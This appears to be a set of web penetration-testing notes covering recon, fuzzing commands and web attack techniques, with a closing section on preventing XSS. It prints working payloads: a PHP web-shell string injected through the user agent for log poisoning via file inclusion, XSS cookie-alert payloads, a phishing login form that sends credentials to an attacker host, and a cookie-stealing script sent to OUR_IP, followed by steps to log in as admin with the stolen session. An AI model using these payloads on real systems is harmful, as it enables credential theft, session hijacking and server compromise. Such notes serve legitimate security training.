Hypertext Transfer Protocol

Source Code Review

Review source code and Page Contents With Burp Suite/Site Map. Add Target Scope under Target > Scope > Add

View Landing Page /

Add domain or hostname to Kali /etc/hosts file and review landing page /

General Scoping

• Discover Potential Filename patterns for custom bruteforcing directories and files.

• Discover usernames or email addresses with exiftool after downloading.

• Discover HTTP Server Version.

• Discover JavaScript Version.

• Search For JavaScript Known Version Vulnerabilities.

• Discover Web Application Name.

• Discover Web Application Version.

• Search For Web Application Known Version Vulnerabilities.

• check certificate if applicable.

• Discover Admin Login pages.

• Test For default credentials.

• Discover User Logins.

• Discover User Registrations.

Screenshot Inspection

Aquatone

wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_arm64_1.7.0.zip

cat facebook_aquatone.txt | aquatone -out ./aquatone -screenshot-timeout 1000

tool for automatic and visual inspection of websites across many hosts and is convenient for quickly gaining an overview of HTTP-based attack surfaces by scanning a list of configurable ports, visiting the website with a headless Chrome browser, and taking a screenshot.

View Certificate Information

Browse to the https://$ip/ and view the certificate

Server Header Information

curl -IL $webserver

Fuzzing Sub-domains

ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u https://FUZZ.domain.com/

Fuzzing VHOSTs

ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://domain.com/ -H 'Host: FUZZ.domain.com' -fs xxx

Fuzzing Directories Files Parameters

Be sure to test both http and https

Extensions

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt -u http://domain.com/somedir/indexFUZZ -fc 404

Directories

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://$ip/FUZZ/ -fc 404

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$ip/FUZZ/ -fc 404

Files

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt -u http://$ip/FUZZ -fc 404

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://$ip/FUZZ -fc 404

Parameters

GET

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://$ip/somefile?FUZZ=key

POST

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://domain.com/path/to/resource.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx

Values

values can be for example usernames, names, id's

ffuf -w values.txt -u http://domain.com/path/to/resource.php -X POST -d 'someParameter=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx

Random

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://$ip/FUZZ -fc 404

Response Headers

Search headers such as X-Powered-By. This may reveal vulnerable versioning

curl -I http://$ip/

Command Injection

Local File inclusion

ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -u http://$ip/site/index.php?page=FUZZ

Linux

curl http://$ip/ -A "<?php system(\$_GET['cmd']);?>"

Windows

curl http://$ip/site/index.php\?page=../../path/to/log\&cmd=ipconfig

Remote File inclusion

SQL injection

Authentication Bypass

Manually confirm the results to then filter out unwanted responses by using --hh

wfuzz -c -w /usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "form" --hc 404 $url

wfuzz -c -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d "form" --hc 404 $url

XXE

XSS

Type	Description
Stored (Persistent) XSS	The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)
Reflected (Non-Persistent) XSS	Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)
DOM-based XSS	Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Testing XSS Payloads

<img src="" onerror=alert(document.cookie)>

'<script>alert(document.cookie)</script>'

<script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>print()</script>

<plaintext>

Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of window.origin in the alert box, instead of a static value like 1. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.

XSS Discovery Automation

XSStrike

git clone https://github.com/s0md3v/XSStrike.git

cd XSStrike; pip install -r requirements.txt

python xsstrike.py -u "http://SERVER_IP:PORT/somepage.example?example=example" 

Phishing

Login Form Injection

we must inject an HTML code that displays a login form on the targeted page. This form should send the login information to a server we are listening on, such that once a user attempts to log in, we'd get their credentials.

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

the page should look as follows when we visit the malicious URL

Session Hijacking

new Image().src='http://OUR_IP/?c='+document.cookie

Write this js into a "script.js" file. You will need to serve this in a PHP server.

"><script src="http://OUR_IP/script.js"></script>

This is one of many payloads. This payload's main purpose is to have the victim's browser to send a request to our malicious PHP server and executing the code that will give us the cookie.

The Victim's activity from the malicious PHP server perspective.

Using the cookie editor to place our stolen cookie and then saving the changes

Refresh the page and you will be logged in as that user in this case, admin

XSS Prevention

Input Validation

web application will not allow us to submit the form if the email format is invalid. This was done with the following JavaScript code. This code is testing the email input field and returning true or false whether it matches the Regex validation of an email format

We should also ensure that we prevent XSS vulnerabilities with measures on the back-end to prevent Stored and Reflected XSS vulnerabilities

Input Sanitization

we should always ensure that we do not allow any input with JavaScript code in it, by escaping any special characters. For this, we can utilize the DOMPurify This will escape any special characters with a backslash \, which should help ensure that a user does not send any input with special characters (like JavaScript code), which should prevent vulnerabilities like DOM XSS.

for a PHP back-end, we can use the addslashes function to sanitize user input by escaping special characters with a backslash. In any case, direct user input (e.g. $_GET['email']) should never be directly displayed on the page, as this can lead to XSS vulnerabilities

For a NodeJS back-end, we can also use the DOMPurify library as we did with the front-end

Output HTML Encoding

Another important aspect to pay attention to in the back-end is Output Encoding. This means that we have to encode any special characters into their HTML codes, which is helpful if we need to display the entire user input without introducing an XSS vulnerability. For a PHP back-end, we can use the htmlspecialchars or the htmlentities functions, which would encode certain special characters into their HTML codes (e.g. < into &lt), so the browser will display them correctly, but they will not cause any injection of any sort

For a NodeJS back-end, we can use any library that does HTML encoding, like html-entities, as follows:

Direct Input

Never use user input directly within certain HTML tags, like:

1. JavaScript code <script></script>

2. CSS Style Code <style></style>

3. Tag/Attribute Fields <div name='INPUT'></div>

4. HTML Comments <!-- -->

In addition, avoid using JavaScript functions that allow changing raw text of HTML fields, like:

• DOM.innerHTML

• DOM.outerHTML

• document.write()

• document.writeln()

• document.domain

jQuery:

• html()

• parseHTML()

• add()

• append()

• prepend()

• after()

• insertAfter()

• before()

• insertBefore()

• replaceAll()

• replaceWith()

Server Configuration

There are certain back-end web server configurations that may help in preventing XSS attacks, such as:

• Using HTTPS across the entire domain.

• Using XSS prevention headers.

• Using the appropriate Content-Type for the page, like X-Content-Type-Options=nosniff.

• Using Content-Security-Policy options, like script-src 'self', which only allows locally hosted scripts.

• Using the HttpOnly and Secure cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.

Nikto Vulnerability Scanner

nikto -h http://$ip